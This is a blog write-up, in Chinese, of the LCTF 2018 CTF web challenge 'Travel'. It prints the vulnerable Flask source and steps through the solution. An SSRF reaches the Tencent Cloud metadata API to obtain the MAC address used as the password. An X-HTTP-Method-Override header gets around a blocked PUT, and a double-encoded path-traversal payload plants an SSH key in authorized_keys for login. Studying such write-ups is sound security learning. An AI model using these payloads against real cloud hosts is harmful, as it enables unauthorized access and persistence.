python ssrf+put上传ssh公钥

0x00 前言

来源于lctf2018的一道web题:Travel

0x01 题目源码

首先题目给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

@app.route('/upload/<filename>', methods = ['PUT'])
def upload_file(filename):
name = request.cookies.get('name')
pwd = request.cookies.get('pwd')
if name != 'lctf' or pwd != str(uuid.getnode()):
return "0"
filename = urllib.unquote(filename)
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
f.write(request.get_data(as_text = True))
return "1"
return "0"

@app.route('/', methods = ['GET'])
def index():
url = request.args.get('url', '')
if url == '':
return render_template('index.html')
if "http" != url[: 4]:
return "hacker"
try:
response = requests.get(url, timeout = 10)
response.encoding = 'utf-8'
return response.text
except:
return "Something Error"

0x02 题目分析

可以看到只要name=’lctf’&&pwd=str(uuid.getnode())即可登陆成功上传任意文件。
而这里需要知道uuid.getnode()也就是网卡地址。正常的话可以读取/sys/class/net/eth0/address来获得。题目是Python + requests库。requests库的底层是urllib,而没有任何扩展的urllib仅支持http和https协议,因此我们没有办法读取任意文件。我们查一查IP,就能发现是腾讯云的机器。既然是云服务商,那么通常就会有一个metadata的API。例如,Amazon EC2,就可以通过 http://169.254.169.254 来获取metadata,而所有基于OpenStack搭建的云服务也都使用这个地址。

因此,让我们查看腾讯云的文档,很容易就能搞出payload:

1
http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/mac

得到网卡地址

1
52:54:00:48:c8:73hex->90520735500403(int)

然后在put的时候会出现一个问题

会出现一个405 not allowed
而与POST出现的不太一样。

那么这里可以确认是Nginx层面上禁止了PUT。Flask对这个问题有解决方案,即X-HTTP-Method-Override头。

这里利用任意文件写+目录穿透上传ssh公钥。
在本地生成ssh公钥

1
2
3
cd /root/.ssh/

ssh-keygen -t rsa -P ''

然后将公钥上传到目录

1
/home/lctf/.ssh/authorized_keys

这里需要注意到是需要将目录进行两次url编码

1
..%252f..%252f..%252f..%252f..%252f..%252fhome%252flctf%252f.ssh%252fauthorized_keys

然后即可进行登陆

1
ssh lctf@118.25.150.86

本文标题:python ssrf+put上传ssh公钥

文章作者:boogle

发布时间:2018年11月19日 - 13:28

最后更新:2019年03月07日 - 11:37

原始链接:https://zhengbao.wang/python-ssrf-put上传ssh公钥/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗